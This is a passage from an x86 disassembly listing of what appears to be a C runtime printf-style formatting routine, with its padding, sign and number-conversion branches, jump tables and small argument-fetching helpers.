loc_41ED97:				; CODE XREF: sub_41E9B0+3ACj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41F7F0
		add	esp, 4
		mov	[ebp+var_248], ax
		mov	cl, byte ptr [ebp+var_248]
		mov	[ebp+var_228], cl
		mov	[ebp+var_24], 1


loc_41EDBD:				; CODE XREF: sub_41E9B0:loc_41ED95j
		lea	edx, [ebp+var_228]
		mov	[ebp+var_20], edx
		jmp	loc_41F3E7
; ---------------------------------------------------------------------------


loc_41EDCB:				; CODE XREF: sub_41E9B0+385j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41F7F0
		add	esp, 4
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0
		jz	short loc_41EDF2
		mov	ecx, [ebp+var_24C]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_41EE0C


loc_41EDF2:				; CODE XREF: sub_41E9B0+434j
		mov	edx, off_443E88
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	[ebp+var_24], eax
		jmp	short loc_41EE5B
; ---------------------------------------------------------------------------


loc_41EE0C:				; CODE XREF: sub_41E9B0+440j
		mov	ecx, [ebp+var_4]
		and	ecx, 800h
		test	ecx, ecx
		jz	short loc_41EE3C
		mov	edx, [ebp+var_24C]
		mov	eax, [edx+4]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_24C]
		movsx	edx, word ptr [ecx]
		shr	edx, 1
		mov	[ebp+var_24], edx
		mov	[ebp+var_1C], 1
		jmp	short loc_41EE5B
; ---------------------------------------------------------------------------


loc_41EE3C:				; CODE XREF: sub_41E9B0+467j
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_24C]
		mov	ecx, [eax+4]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_24C]
		movsx	eax, word ptr [edx]
		mov	[ebp+var_24], eax


loc_41EE5B:				; CODE XREF: sub_41E9B0+45Aj
					; sub_41E9B0+48Aj
		jmp	loc_41F3E7
; ---------------------------------------------------------------------------


loc_41EE60:				; CODE XREF: sub_41E9B0+385j
					; DATA XREF: ___:0041F668o
		mov	ecx, [ebp+var_4]
		and	ecx, 830h
		test	ecx, ecx
		jnz	short loc_41EE76
		mov	edx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], edx


loc_41EE76:				; CODE XREF: sub_41E9B0+385j
					; sub_41E9B0+4BBj
					; DATA XREF: ...
		cmp	[ebp+var_234], 0FFFFFFFFh
		jnz	short loc_41EE8B
		mov	[ebp+var_2A4], 7FFFFFFFh
		jmp	short loc_41EE97
; ---------------------------------------------------------------------------


loc_41EE8B:				; CODE XREF: sub_41E9B0+4CDj
		mov	eax, [ebp+var_234]
		mov	[ebp+var_2A4], eax


loc_41EE97:				; CODE XREF: sub_41E9B0+4D9j
		mov	ecx, [ebp+var_2A4]
		mov	[ebp+var_258], ecx
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_41F7F0
		add	esp, 4
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_4]
		and	eax, 810h
		test	eax, eax
		jz	short loc_41EF26
		cmp	[ebp+var_20], 0
		jnz	short loc_41EECD
		mov	ecx, off_443E8C
		mov	[ebp+var_20], ecx


loc_41EECD:				; CODE XREF: sub_41E9B0+512j
		mov	[ebp+var_1C], 1
		mov	edx, [ebp+var_20]
		mov	[ebp+var_254], edx


loc_41EEDD:				; CODE XREF: sub_41E9B0+564j
		mov	eax, [ebp+var_258]
		mov	ecx, [ebp+var_258]
		sub	ecx, 1
		mov	[ebp+var_258], ecx
		test	eax, eax
		jz	short loc_41EF16
		mov	edx, [ebp+var_254]
		xor	eax, eax
		mov	ax, [edx]
		test	eax, eax
		jz	short loc_41EF16
		mov	ecx, [ebp+var_254]
		add	ecx, 2
		mov	[ebp+var_254], ecx
		jmp	short loc_41EEDD
; ---------------------------------------------------------------------------


loc_41EF16:				; CODE XREF: sub_41E9B0+544j
					; sub_41E9B0+553j
		mov	edx, [ebp+var_254]
		sub	edx, [ebp+var_20]
		sar	edx, 1
		mov	[ebp+var_24], edx
		jmp	short loc_41EF80
; ---------------------------------------------------------------------------


loc_41EF26:				; CODE XREF: sub_41E9B0+50Cj
		cmp	[ebp+var_20], 0
		jnz	short loc_41EF34
		mov	eax, off_443E88
		mov	[ebp+var_20], eax


loc_41EF34:				; CODE XREF: sub_41E9B0+57Aj
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_250], ecx


loc_41EF3D:				; CODE XREF: sub_41E9B0+5C2j
		mov	edx, [ebp+var_258]
		mov	eax, [ebp+var_258]
		sub	eax, 1
		mov	[ebp+var_258], eax
		test	edx, edx
		jz	short loc_41EF74
		mov	ecx, [ebp+var_250]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_41EF74
		mov	eax, [ebp+var_250]
		add	eax, 1
		mov	[ebp+var_250], eax
		jmp	short loc_41EF3D
; ---------------------------------------------------------------------------


loc_41EF74:				; CODE XREF: sub_41E9B0+5A4j
					; sub_41E9B0+5B1j
		mov	ecx, [ebp+var_250]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx


loc_41EF80:				; CODE XREF: sub_41E9B0+574j
		jmp	loc_41F3E7
; ---------------------------------------------------------------------------


loc_41EF85:				; CODE XREF: sub_41E9B0+385j
					; DATA XREF: ___:0041F680o
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_41F7F0
		add	esp, 4
		mov	[ebp+var_25C], eax
		mov	eax, [ebp+var_4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_41EFB3
		mov	ecx, [ebp+var_25C]
		mov	dx, word ptr [ebp+var_22C]
		mov	[ecx], dx
		jmp	short loc_41EFC1
; ---------------------------------------------------------------------------


loc_41EFB3:				; CODE XREF: sub_41E9B0+5EFj
		mov	eax, [ebp+var_25C]
		mov	ecx, [ebp+var_22C]
		mov	[eax], ecx


loc_41EFC1:				; CODE XREF: sub_41E9B0+601j
		mov	[ebp+var_23C], 1
		jmp	loc_41F3E7
; ---------------------------------------------------------------------------


loc_41EFD0:				; CODE XREF: sub_41E9B0+385j
					; DATA XREF: ___:0041F664o
		mov	[ebp+var_8], 1
		mov	dl, byte ptr [ebp+var_28]
		add	dl, 20h
		mov	byte ptr [ebp+var_28], dl


loc_41EFE0:				; CODE XREF: sub_41E9B0+385j
					; DATA XREF: ___:0041F67Co
		mov	eax, [ebp+var_4]
		or	al, 40h
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_228]
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_234], 0
		jge	short loc_41F006
		mov	[ebp+var_234], 6
		jmp	short loc_41F022
; ---------------------------------------------------------------------------


loc_41F006:				; CODE XREF: sub_41E9B0+648j
		cmp	[ebp+var_234], 0
		jnz	short loc_41F022
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 67h
		jnz	short loc_41F022
		mov	[ebp+var_234], 1


loc_41F022:				; CODE XREF: sub_41E9B0+654j
					; sub_41E9B0+65Dj ...
		mov	eax, [ebp+arg_8]
		add	eax, 8
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_8]
		sub	ecx, 8
		mov	edx, [ecx]
		mov	eax, [ecx+4]
		mov	[ebp+var_264], edx
		mov	[ebp+var_260], eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_234]
		push	edx
		movsx	eax, byte ptr [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		lea	edx, [ebp+var_264]
		push	edx
		call	off_444248
		add	esp, 14h
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_41F088
		cmp	[ebp+var_234], 0
		jnz	short loc_41F088
		mov	ecx, [ebp+var_20]
		push	ecx
		call	off_444254
		add	esp, 4


loc_41F088:				; CODE XREF: sub_41E9B0+6C0j
					; sub_41E9B0+6C9j
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 67h
		jnz	short loc_41F0AA
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jnz	short loc_41F0AA
		mov	ecx, [ebp+var_20]
		push	ecx
		call	off_44424C
		add	esp, 4


loc_41F0AA:				; CODE XREF: sub_41E9B0+6DFj
					; sub_41E9B0+6EBj
		mov	edx, [ebp+var_20]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_41F0C7
		mov	ecx, [ebp+var_4]
		or	ch, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_41F0C7:				; CODE XREF: sub_41E9B0+703j
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	[ebp+var_24], eax
		jmp	loc_41F3E7
; ---------------------------------------------------------------------------


loc_41F0DB:				; CODE XREF: sub_41E9B0+385j
					; DATA XREF: ___:0041F678o
		mov	ecx, [ebp+var_4]
		or	ecx, 40h
		mov	[ebp+var_4], ecx
		mov	[ebp+var_238], 0Ah
		jmp	loc_41F175
; ---------------------------------------------------------------------------


loc_41F0F3:				; CODE XREF: sub_41E9B0+385j
					; DATA XREF: ___:0041F690o
		mov	[ebp+var_238], 0Ah
		jmp	short loc_41F175
; ---------------------------------------------------------------------------


loc_41F0FF:				; CODE XREF: sub_41E9B0+385j
					; DATA XREF: ___:0041F688o
		mov	[ebp+var_234], 8


loc_41F109:				; CODE XREF: sub_41E9B0+385j
					; DATA XREF: ___:0041F66Co
		mov	[ebp+var_230], 7
		jmp	short loc_41F11F
; ---------------------------------------------------------------------------


loc_41F115:				; CODE XREF: sub_41E9B0+385j
					; DATA XREF: ___:0041F694o
		mov	[ebp+var_230], 27h


loc_41F11F:				; CODE XREF: sub_41E9B0+763j
		mov	[ebp+var_238], 10h
		mov	edx, [ebp+var_4]
		and	edx, 80h
		test	edx, edx
		jz	short loc_41F153
		mov	[ebp+var_240], 30h
		mov	eax, [ebp+var_230]
		add	eax, 51h
		mov	[ebp+var_23F], al
		mov	[ebp+var_10], 2


loc_41F153:				; CODE XREF: sub_41E9B0+784j
		jmp	short loc_41F175
; ---------------------------------------------------------------------------


loc_41F155:				; CODE XREF: sub_41E9B0+385j
					; DATA XREF: ___:0041F684o
		mov	[ebp+var_238], 8
		mov	ecx, [ebp+var_4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_41F175
		mov	edx, [ebp+var_4]
		or	dh, 2
		mov	[ebp+var_4], edx


loc_41F175:				; CODE XREF: sub_41E9B0+73Ej
					; sub_41E9B0+74Dj ...
		mov	eax, [ebp+var_4]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_41F19E
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_41F810
		add	esp, 4
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	loc_41F22F
; ---------------------------------------------------------------------------


loc_41F19E:				; CODE XREF: sub_41E9B0+7CFj
		mov	edx, [ebp+var_4]
		and	edx, 20h
		test	edx, edx
		jz	short loc_41F1F0
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_41F1D0
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_41F7F0
		add	esp, 4
		movsx	eax, ax
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	short loc_41F1EE
; ---------------------------------------------------------------------------


loc_41F1D0:				; CODE XREF: sub_41E9B0+800j
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_41F7F0
		add	esp, 4
		and	eax, 0FFFFh
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx


loc_41F1EE:				; CODE XREF: sub_41E9B0+81Ej
		jmp	short loc_41F22F
; ---------------------------------------------------------------------------


loc_41F1F0:				; CODE XREF: sub_41E9B0+7F6j
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_41F215
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_41F7F0
		add	esp, 4
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	short loc_41F22F
; ---------------------------------------------------------------------------


loc_41F215:				; CODE XREF: sub_41E9B0+848j
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_41F7F0
		add	esp, 4
		xor	ecx, ecx
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], ecx


loc_41F22F:				; CODE XREF: sub_41E9B0+7E9j
					; sub_41E9B0:loc_41F1EEj ...
		mov	edx, [ebp+var_4]
		and	edx, 40h
		test	edx, edx
		jz	short loc_41F277
		cmp	[ebp+var_274], 0
		jg	short loc_41F277
		jl	short loc_41F24D
		cmp	[ebp+var_278], 0
		jnb	short loc_41F277


loc_41F24D:				; CODE XREF: sub_41E9B0+892j
		mov	eax, [ebp+var_278]
		neg	eax
		mov	ecx, [ebp+var_274]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], ecx
		mov	edx, [ebp+var_4]
		or	dh, 1
		mov	[ebp+var_4], edx
		jmp	short loc_41F28F
; ---------------------------------------------------------------------------


loc_41F277:				; CODE XREF: sub_41E9B0+887j
					; sub_41E9B0+890j ...
		mov	eax, [ebp+var_278]
		mov	[ebp+var_26C], eax
		mov	ecx, [ebp+var_274]
		mov	[ebp+var_268], ecx


loc_41F28F:				; CODE XREF: sub_41E9B0+8C5j
		mov	edx, [ebp+var_4]
		and	edx, 8000h
		test	edx, edx
		jnz	short loc_41F2B7
		mov	eax, [ebp+var_26C]
		mov	ecx, [ebp+var_268]
		and	ecx, 0
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], ecx


loc_41F2B7:				; CODE XREF: sub_41E9B0+8EAj
		cmp	[ebp+var_234], 0
		jge	short loc_41F2CC
		mov	[ebp+var_234], 1
		jmp	short loc_41F2D5
; ---------------------------------------------------------------------------


loc_41F2CC:				; CODE XREF: sub_41E9B0+90Ej
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFF7h
		mov	[ebp+var_4], edx


loc_41F2D5:				; CODE XREF: sub_41E9B0+91Aj
		mov	eax, [ebp+var_26C]
		or	eax, [ebp+var_268]
		test	eax, eax
		jnz	short loc_41F2EC
		mov	[ebp+var_10], 0


loc_41F2EC:				; CODE XREF: sub_41E9B0+933j
		lea	ecx, [ebp+var_29]
		mov	[ebp+var_20], ecx


loc_41F2F2:				; CODE XREF: sub_41E9B0+9EBj
		mov	edx, [ebp+var_234]
		mov	eax, [ebp+var_234]
		sub	eax, 1
		mov	[ebp+var_234], eax
		test	edx, edx
		jg	short loc_41F31F
		mov	ecx, [ebp+var_26C]
		or	ecx, [ebp+var_268]
		test	ecx, ecx
		jz	loc_41F3A0


loc_41F31F:				; CODE XREF: sub_41E9B0+959j
		mov	eax, [ebp+var_238]
		cdq
		push	edx
		push	eax
		mov	edx, [ebp+var_268]
		push	edx
		mov	eax, [ebp+var_26C]
		push	eax
		call	sub_41A440
		add	eax, 30h
		mov	[ebp+var_270], eax
		mov	eax, [ebp+var_238]
		cdq
		push	edx
		push	eax
		mov	ecx, [ebp+var_268]
		push	ecx
		mov	edx, [ebp+var_26C]
		push	edx
		call	sub_41A3D0
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], edx
		cmp	[ebp+var_270], 39h
		jle	short loc_41F387
		mov	eax, [ebp+var_270]
		add	eax, [ebp+var_230]
		mov	[ebp+var_270], eax


loc_41F387:				; CODE XREF: sub_41E9B0+9C3j
		mov	ecx, [ebp+var_20]
		mov	dl, byte ptr [ebp+var_270]
		mov	[ecx], dl
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		jmp	loc_41F2F2
; ---------------------------------------------------------------------------


loc_41F3A0:				; CODE XREF: sub_41E9B0+969j
		lea	ecx, [ebp+var_29]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_4]
		and	eax, 200h
		test	eax, eax
		jz	short loc_41F3E7
		mov	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 30h
		jnz	short loc_41F3CF
		cmp	[ebp+var_24], 0
		jnz	short loc_41F3E7


loc_41F3CF:				; CODE XREF: sub_41E9B0+A17j
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		mov	byte ptr [ecx],	30h
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx


loc_41F3E7:				; CODE XREF: sub_41E9B0+371j
					; sub_41E9B0+385j ...
		cmp	[ebp+var_23C], 0
		jnz	loc_41F5C2
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_41F44D
		mov	ecx, [ebp+var_4]
		and	ecx, 100h
		test	ecx, ecx
		jz	short loc_41F41B
		mov	[ebp+var_240], 2Dh
		mov	[ebp+var_10], 1
		jmp	short loc_41F44D
; ---------------------------------------------------------------------------


loc_41F41B:				; CODE XREF: sub_41E9B0+A59j
		mov	edx, [ebp+var_4]
		and	edx, 1
		test	edx, edx
		jz	short loc_41F435
		mov	[ebp+var_240], 2Bh
		mov	[ebp+var_10], 1
		jmp	short loc_41F44D
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41E9B0+A73j
		mov	eax, [ebp+var_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_41F44D
		mov	[ebp+var_240], 20h
		mov	[ebp+var_10], 1


loc_41F44D:				; CODE XREF: sub_41E9B0+A4Cj
					; sub_41E9B0+A69j ...
		mov	ecx, [ebp+var_244]
		sub	ecx, [ebp+var_24]
		sub	ecx, [ebp+var_10]
		mov	[ebp+var_27C], ecx
		mov	edx, [ebp+var_4]
		and	edx, 0Ch
		test	edx, edx
		jnz	short loc_41F485
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	20h
		call	sub_41F760
		add	esp, 10h


loc_41F485:				; CODE XREF: sub_41E9B0+AB7j
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		lea	eax, [ebp+var_240]
		push	eax
		call	sub_41F7A0
		add	esp, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_41F4D3
		mov	edx, [ebp+var_4]
		and	edx, 4
		test	edx, edx
		jnz	short loc_41F4D3
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	30h
		call	sub_41F760
		add	esp, 10h


loc_41F4D3:				; CODE XREF: sub_41E9B0+AFBj
					; sub_41E9B0+B05j
		cmp	[ebp+var_1C], 0
		jz	loc_41F581
		cmp	[ebp+var_24], 0
		jle	loc_41F581
		mov	eax, [ebp+var_20]
		mov	[ebp+var_280], eax
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_284], ecx


loc_41F4F9:				; CODE XREF: sub_41E9B0+BCAj
		mov	edx, [ebp+var_284]
		mov	eax, [ebp+var_284]
		sub	eax, 1
		mov	[ebp+var_284], eax
		test	edx, edx
		jz	short loc_41F57F
		mov	ecx, [ebp+var_280]
		mov	dx, [ecx]
		mov	[ebp+var_2A6], dx
		mov	ax, [ebp+var_2A6]
		push	eax
		lea	ecx, [ebp+var_288]
		push	ecx
		mov	edx, [ebp+var_280]
		add	edx, 2
		mov	[ebp+var_280], edx
		call	sub_4285F0
		add	esp, 8
		mov	[ebp+var_28C], eax
		cmp	[ebp+var_28C], 0
		jg	short loc_41F559
		jmp	short loc_41F57F
; ---------------------------------------------------------------------------


loc_41F559:				; CODE XREF: sub_41E9B0+BA5j
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_28C]
		push	edx
		lea	eax, [ebp+var_288]
		push	eax
		call	sub_41F7A0
		add	esp, 10h
		jmp	loc_41F4F9
; ---------------------------------------------------------------------------


loc_41F57F:				; CODE XREF: sub_41E9B0+B60j
					; sub_41E9B0+BA7j
		jmp	short loc_41F59C
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41E9B0+B27j
					; sub_41E9B0+B31j
		lea	ecx, [ebp+var_22C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	sub_41F7A0
		add	esp, 10h


loc_41F59C:				; CODE XREF: sub_41E9B0:loc_41F57Fj
		mov	edx, [ebp+var_4]
		and	edx, 4
		test	edx, edx
		jz	short loc_41F5C2
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	20h
		call	sub_41F760
		add	esp, 10h


loc_41F5C2:				; CODE XREF: sub_41E9B0+ADj
					; sub_41E9B0+155j ...
		jmp	loc_41E9D4
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41E9B0+3Bj
					; sub_41E9B0+48j
		mov	eax, [ebp+var_22C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41E9B0	endp

; ---------------------------------------------------------------------------
off_41F5D4	dd offset loc_41EA70	; DATA XREF: sub_41E9B0+B9r
		dd offset loc_41EB0A
		dd offset loc_41EB4C
		dd offset loc_41EBBB
		dd offset loc_41EC13
		dd offset loc_41EC22
		dd offset loc_41EC6E
		dd offset loc_41ED01
off_41F5F4	dd offset loc_41EB98	; DATA XREF: sub_41E9B0+1CCr
		dd offset loc_41EBA3
		dd offset loc_41EB8E
		dd offset loc_41EB83
		dd offset loc_41EBAE
		dd offset loc_41EBB6
byte_41F60C	db 0			; DATA XREF: sub_41E9B0+1C6r
		db 2 dup(5), 1
		dd 5050505h, 2050505h, 5050305h
		db 4
off_41F61D	dd offset loc_41ECB0	; DATA XREF: sub_41E9B0+2EEr
		dd offset loc_41ECE9
		dd offset loc_41ECA5
		dd offset loc_41ECF3
		dd offset loc_41ECFC
byte_41F631	db 0			; DATA XREF: sub_41E9B0+2E8r
		dw 404h
		dd 7 dup(4040404h), 4040401h, 4040402h,	4040404h, 3040404h
off_41F660	dd offset loc_41ED3C	; DATA XREF: sub_41E9B0+385r
		dd offset loc_41EFD0
		dd offset loc_41EE60
		dd offset loc_41F109
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0EDh, 41h, 0
		dd offset loc_41ED51
		dd offset loc_41F0DB
		dd offset loc_41EFE0
		dd offset loc_41EF85
		dd offset loc_41F155
		dd offset loc_41F0FF
		dd offset loc_41EE76
		dd offset loc_41F0F3
		dd offset loc_41F115
		dd offset loc_41F3E7
byte_41F69C	db 0			; DATA XREF: sub_41E9B0+37Fr
		db 0Eh,	1, 0Eh
		dd 0E0E0E01h, 2	dup(0E0E0E0Eh),	0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh)
		dd 7070605h, 0E060E07h,	80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh
		dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F6E0	proc near		; CODE XREF: sub_41E9B0+F5p
					; sub_41E9B0+14Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+4], 0
		jl	short loc_41F722
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+arg_0]
		and	ecx, 0FFh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_41F735
; ---------------------------------------------------------------------------


loc_41F722:				; CODE XREF: sub_41F6E0+1Aj
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41E730
		add	esp, 8
		mov	[ebp+var_4], eax


loc_41F735:				; CODE XREF: sub_41F6E0+40j
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_41F746
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx], 0FFFFFFFFh
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F746:				; CODE XREF: sub_41F6E0+59j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F6E0+64j
		mov	esp, ebp
		pop	ebp
		retn
sub_41F6E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F760	proc near		; CODE XREF: sub_41E9B0+ACDp
					; sub_41E9B0+B1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp


loc_41F763:				; CODE XREF: sub_41F760:loc_41F791j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		test	eax, eax
		jle	short loc_41F793
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41F6E0
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	short loc_41F791
		jmp	short loc_41F793
; ---------------------------------------------------------------------------


loc_41F791:				; CODE XREF: sub_41F760+2Dj
		jmp	short loc_41F763
; ---------------------------------------------------------------------------


loc_41F793:				; CODE XREF: sub_41F760+11j
					; sub_41F760+2Fj
		pop	ebp
		retn
sub_41F760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F7A0	proc near		; CODE XREF: sub_41E9B0+AEBp
					; sub_41E9B0+BC2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx


loc_41F7A4:				; CODE XREF: sub_41F7A0:loc_41F7E4j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		test	eax, eax
		jle	short loc_41F7E6
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		call	sub_41F6E0
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	short loc_41F7E4
		jmp	short loc_41F7E6
; ---------------------------------------------------------------------------


loc_41F7E4:				; CODE XREF: sub_41F7A0+40j
		jmp	short loc_41F7A4
; ---------------------------------------------------------------------------


loc_41F7E6:				; CODE XREF: sub_41F7A0+12j
					; sub_41F7A0+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_41F7A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F7F0	proc near		; CODE XREF: sub_41E9B0+218p
					; sub_41E9B0+27Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	eax, [ecx-4]
		pop	ebp
		retn
sub_41F7F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F810	proc near		; CODE XREF: sub_41E9B0+7D5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		sub	ecx, 8
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		pop	ebp
		retn
sub_41F810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F830	proc near		; CODE XREF: sub_41E9B0+3B2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ax, [ecx-4]
		pop	ebp
		retn
sub_41F830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



